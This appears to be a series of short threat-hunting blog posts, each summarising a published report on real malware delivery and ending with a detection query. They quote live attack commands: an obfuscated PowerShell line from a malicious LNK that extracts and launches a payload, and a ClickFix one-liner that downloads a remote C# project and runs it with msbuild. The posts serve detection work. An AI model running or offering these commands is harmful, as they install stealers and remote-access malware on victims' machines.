Know Your Adversary

Hello everyone! Malware installation process often involves unpacking archived data. And today we'll look at how advararies abuse tar, and how to use it for threat hunting. Let's look at  UNC6384 . The adversary leveraged a malicious LNK file, which contained the following command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c " ;; ;$uojsbmkvp = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *'Agenda_Meeting 26 Sep Brussels'.zip).fullname; ;;$ophcrygyu=[System.IO.File]::ReadAllBytes($uojsbmkvp);$xkasluyk=721; ;$lrbnaoxkomoi=[char]87+'r'+[char]105+'te'+[char]65+'l'+[char]108+'b'+[char]121+'tes'; ;echo $xkasluyk; ; ;echo $xkasluyk;;[System.IO.File]::$lrbnaoxkomoi($Env:temp+'\\rjnlzlkfe.ta', $ophcrygyu[$xkasluyk..($xkasluyk+1204224-1)]); ;;;echo $xkasluyk;;;;echo $xkasluyk;; TaR -xvf $Env:TEMP\rjnlzlkfe.ta -C $Env:Temp; Start-Process $Env:temp\cnmpaui.exe;" The script does the following...

Hello everyone! I think already everybody knows about ClickFix technique, but we still see new and new variations, especially if we are talking about a command a victim should paste. Proofpoint has published a report on Amatera Stealer , and the adversary leveraged ClickFix technique to deliver it. The victim should paste the following command into the Windows Run dialog: powershell -w h -c "$p=$env: TEMP+'\t.csproj';irm https://cv[.]cbrw[.]ru/t.csproj -0 $p;&($env: SystemRoot+'\Microsoft.NET\Framework\v4.0.30319\msbuild.exe') $p" The threat actors abuse PowerShell to download a malicious C# project file from a remote server, save it to the temporary directory, and executes it using msbuild.exe . So, as always, we can use suspicious command line arguments for detection, for example: event_type: "processcreatewin" AND proc_file_name: "powershell.exe" AND cmdline: (*msbuild* AND *csproj*) See you tomorrow!

Hello everyone! We already talked about how adversaries abuse PowerPoint to deliver malware a few times . It's to discuss it again! Seqrite has published a report on APT36 (we track this activity cluster as  Translucent Werewolf )   activity. According to this research, the threat actors leveraged PowerPoint add-on files (PPAM) to deliver Crimson RAT . My observations suggest that such files are not very common in modern environments, so we can hunt for PPAM opening events: event_type: "processcreatewin" AND proc_file_name: "powerpnt.exe" AND cmdline: "ppam" See you tomorrow!

Hello everyone! Side-Loading once again! According to Check Point report , APT29 continues to distribute  WINELOADER via phishing emails. These emails contain malicious links to wine.zip . The archive contains  wine.exe - a legitimate PowerPoint executable,  AppvIsvSubsystems64.dll - a required dependency for the PowerPoint executable to run, and  ppcore.dll - a malicious DLL -  GRAPELOADER , which is used to download WINELOADER . I'm sure you've already spotted a low-hanging fruit for detection! Yes, I'm talking about this renamed PowerPoint executable! For example: event_type: "processcreatewin" AND proc_file_originalfilename: "powerpnt.exe" AND NOT proc_file_name: "powerpnt.exe" Of course, you can hunt for other common Microsoft Office related binaries as well! Happy hunting! See you tomorrow!